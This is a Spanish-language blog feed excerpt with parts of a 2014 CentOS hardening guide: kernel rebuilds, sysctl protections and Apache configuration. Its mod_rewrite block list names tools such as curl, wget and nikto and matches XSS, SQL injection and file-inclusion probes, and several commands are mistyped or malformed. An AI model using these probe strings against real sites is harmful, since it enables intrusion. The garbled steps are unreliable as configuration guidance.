&lt;div style=&quot;text-align: justify;&quot;&gt;
1. Para actualizar el kernel de distribuciones basadas en Red Hat.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Primero preparamos el sistema para la descarga y compilacion del kernel con el siguiente comando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;yum -y install gcc glibc-devel ncurses-devel rpm-build&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
Descargamos el kernel actual.&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
Ejemplo:&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
Cd /usr/src&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
Wget http://www.kernel.org/pub/linux/kernel/vX.X/linux-.X.X.tar.bz2&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Descomprimimos el Kernel:&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
tar xjf linux-3.5.1.tar.bz2&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
ln -s linux-3.5.1 linux&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Configuración del kernel:&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
cd /usr/src/linux&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
ls /boot/config*&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
cp /boot/config-2.6.32-279.el6.i686 /usr/src/linux/.config&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Compilamos el Kernel&lt;b&gt;.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
sudo make menuconfig&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
make&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Y por último lo instalamos&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
make modules_install&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
make binrpm-pkg&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;div&gt;
rpm -ivh /root/rpmbuild/RPMS/i386/kernel-headers-X.X.X-X.i386.rpm&lt;/div&gt;
&lt;div&gt;
rpm -ivh /root/rpmbuild/RPMS/i386/kernel-X.X.X-X.i386.rpm&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Actualización de paquetes:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
Para actualizar los paquetes independientemente&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
yum install paquete.arch&lt;/div&gt;
&lt;div&gt;
Para actualizar todos los paquetes: puede hacer uso de&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Yum – y update&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Y reinicia el servidor&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Esto es todo hasta aquí espero que les sea de mucha ayuda la plantilla de aseguramiento para Servidores CentOS&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/14893981844212296/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/14893981844212296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/14893981844212296'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html' title='Hardening Sistema Linux (CentOS) #Parte3'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-407276683802486576</id><published>2014-10-16T11:15:00.000-05:00</published><updated>2014-10-17T11:35:56.011-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="nginx"/><category scheme="http://www.blogger.com/atom/ns#" term="plantilla"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><category scheme="http://www.blogger.com/atom/ns#" term="sistema operativos"/><category scheme="http://www.blogger.com/atom/ns#" term="SO"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="template"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Hardening Sistema Linux (CentOS) #Parte2</title><content type='html'>Continuando con la plantilla de aseguramiento de Servidores con sistema CentOS&lt;br /&gt;
Leer la&amp;nbsp;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html&quot; target=&quot;_blank&quot;&gt;#Parte1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Hardening de Sysctl.conf&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con el siguiente comando,&amp;nbsp;Se podrá observar un listado con las variables asignadas y su valor.&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;sysctl -a&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En la actualidad existe vulnerabilidad en todos los kernel centos/redhat 6 también hay varios exploit que hacen uso de esta vulnerabilidad hasta el momento no hay un kernel que incluye el parche para esta vulnerabilidad.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es posible prevenir el exploit con el siguiente comando.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;sysctl -w kernel.perf_event_paranoid=2&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ó bien&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;echo &quot;kernel.perf_event_paranoid=2&quot; &amp;gt;&amp;gt; /etc/sysctl.conf&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Se puede encontrar información acerca esta vulnerabilidad en:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=962792&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=962792&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Evitar ataques Smurf:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para evitar este tipo de ataques se agrega/modifica la siguiente línea:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;net.ipv4.icmp_echo_ignore_broadcasts = 1&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Evitar ataques SYN Flood&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para evitar este tipo de ataques se agrega/modifica la siguiente línea:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;net.ipv4.tcp_syncookies = 1&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Si no se va hacer uso de IPV6 Deshabilitarla:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Agregar al final del archivo &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;net.ipv6.conf.all.disable_ipv6=1&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;7 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Hardening de Apache&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Los servidores de &lt;b&gt;Apache&amp;nbsp;&lt;/b&gt;son unos de los elementos o servicios que primero realizan análisis de vulnerabilidades los atacantes.&lt;/div&gt;
&lt;div&gt;
Debido a esto se deben tomar medidas de aseguramiento para la configuración de este.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;1.&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Primero que todo debemos cambiar algunas configuraciones por defecto.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Abrir &lt;b&gt;/etc/httpd/conf/httpd.conf&lt;/b&gt; y cambiar lo siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ServerSignature Off&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
(Oculta su versión de apache en las páginas de error)&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ServerTokens Prod&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
(Detiene la inclusión de información en el encabezado HTTP que da las versiones de Apache).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Añadiremos una configuración personalizada.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Agregaremos lo siguiente a &lt;b&gt;/etc/httpd/config/httpd.conf&lt;/b&gt;. Explicado que hace en los comentarios.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;background-color: #f4f4f4;&quot;&gt;&lt;directory var=&quot;&quot; www=&quot;&quot;&gt;&lt;/directory&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: 11px; line-height: 16px;&quot;&gt;&lt;b&gt;# Utilice esto para evitar el método TRACE http el cual sirve&lt;/b&gt;
&lt;b&gt;# Para recabar (gathering path information) información de proxy o servidores (cache servers)&lt;/b&gt;
&lt;limitexcept get=&quot;&quot; post=&quot;&quot;&gt;
deny from all
&lt;/limitexcept&gt;
&lt;b&gt;# El ‘-’ deshabilita las siguientes funciones
# FollowSymLinks – puede ser utilizado para buscar carpetas fuera del árbol del directorio
#
# Includes – maneja a .shtml; previene incluir archivos del servidor, local file include
#
# AllowOverride None – previene a los desarrolladores cambiar opciones con el
# .htaccess
&lt;/b&gt;
Options -FollowSymLinks -Includes -Indexes -MultiViews
AllowOverride None
Order allow,deny
Allow from all&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: 11px; line-height: 16px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
Además, de añadir lo anterior, para prevenir acceso al root de su directorio, añadiremos lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;directory&gt;&lt;/directory&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Order deny,allow&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;deny from all&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Cambiemos algunos permisos.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
La carpeta public html (por default es &lt;b&gt;/var/www/html&lt;/b&gt;) debería ser escribible solo por el usuario root. Y solo puede ser leída por todo el mundo por ente se configurara así:&lt;br /&gt;
&lt;b&gt;chown -R root /var/www&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;chmod -R 775 /var/www&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Actualizar el servidor APACHE a la última versión estable.&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
Desactivar las opciones para explorar directorios, esto se puede hacer con las opciones de directiva dentro de la etiqueta &lt;b&gt;&lt;directory&gt;&lt;/directory&gt;&lt;/b&gt;; tiene dos posibles valores: &lt;b&gt;none&lt;/b&gt; o &lt;b&gt;indexes&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Options -Indexes&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Disminuir el valor máximo de tiempo de espera, por defecto, el tiempo de espera es 60 a 300 segundos dependiendo de la versión de &lt;b&gt;Apache&lt;/b&gt;. Este se puede disminuir por seguridad (para mejorar la resistencia a ataques de denegación de servicio) así:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Timeout 45&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Deshabilitar el método TRACE&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
A partir de la versión 2 de apache podemos deshabilitar el método TRACE fácilmente con una variable.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;TraceEnable off&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Esta debe ingresarse en el archivo de configuración principal de apache.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Para configurar Apache para enviar el encabezado &lt;b&gt;X-Frame-Options&lt;/b&gt; para todas las páginas, añadir lo siguiente a la configuración&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Header always append X-Frame-Options SAMEORIGIN&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Como plus.. ya que mas adelante pretendo compartir plantilla de aseguramiento para los CMS Joomla y WordPress añadiremos una configuracion segura de Apache para estos CMS si hacen uso de ellos en el servidor.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;7.1&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Hardening de Apache para uso de CMS Joomla - WordPress&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Denegar vulnerabilidades típicas y otros escaneos&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
Las siguientes configuraciones deben agregarse al archivo de configuración de apache &lt;b&gt;/etc&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/httpd/conf/httpd.conf.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: 11px; line-height: 16px;&quot;&gt;&lt;b&gt;#Poner fuera a los  Script Kiddies&lt;/b&gt;
RewriteCond %{HTTP_USER_AGENT} ^()$ [NC,OR] # void of UserAgent
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pykto|pikto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]

&lt;b&gt;# Sondeo la versiòn de PHP&lt;/b&gt;
RewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR]

&lt;b&gt;# Sondeo XSS&lt;/b&gt;
RewriteCond %{QUERY_STRING} (&amp;lt;|%3C).*script.*(&amp;gt;|%3E) [NC,OR]

&lt;b&gt;# Sondeo inyecciòn SQL&lt;/b&gt;
RewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]

&lt;b&gt;# Archivos de inlusion Remoto/Local&lt;/b&gt;
RewriteCond %{QUERY_STRING} (http://)*(?)$ [NC,OR]

&lt;b&gt;# Bloqueo los ataques comunes de cadenas&lt;/b&gt;
RewriteCond %{QUERY_STRING} ^.*(/\*|\*/).* [NC,OR]

&lt;b&gt;# Permirir solo GET y POST &lt;/b&gt;
RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR]

&lt;b&gt;# Peticiones en las variables PHP&lt;/b&gt;
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})

&lt;b&gt;# Acceso denegado&lt;/b&gt;
RewriteRule ^(.*)$ index.php [F,L]&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Reiniciamos el servicio de apache &lt;b&gt;service httpd restart&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Continuar leyendo&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html&quot; target=&quot;_blank&quot;&gt;#Parte3&lt;/a&gt;&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/407276683802486576/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/407276683802486576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/407276683802486576'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html' title='Hardening Sistema Linux (CentOS) #Parte2'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-3868184171508288553</id><published>2014-10-15T21:35:00.001-05:00</published><updated>2014-10-17T11:35:29.378-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="nginx"/><category scheme="http://www.blogger.com/atom/ns#" term="plantilla"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><category scheme="http://www.blogger.com/atom/ns#" term="sistema operativos"/><category scheme="http://www.blogger.com/atom/ns#" term="SO"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="template"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Hardening Sistema Linux (CentOS) #Parte1</title><content type='html'>&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #333333; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px;&quot;&gt;Estuve hace un tiempo trabajando en unas plantillas de aseguramiento para servidores CentOS las cuales&amp;nbsp;estaré&amp;nbsp;compartiendo&amp;nbsp;con ustedes. ya que el tema y la&amp;nbsp;información&amp;nbsp;es algo extensa estaremos&amp;nbsp;dividiéndolas&amp;nbsp;en parte.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #333333; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px;&quot;&gt;Este es el indice que he realizado para este sistema constando que el sistema como aplicativos o servicios posee &lt;b&gt;APACHE &lt;/b&gt;ó &lt;b&gt;NGINX&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #333333; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-size: 12px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
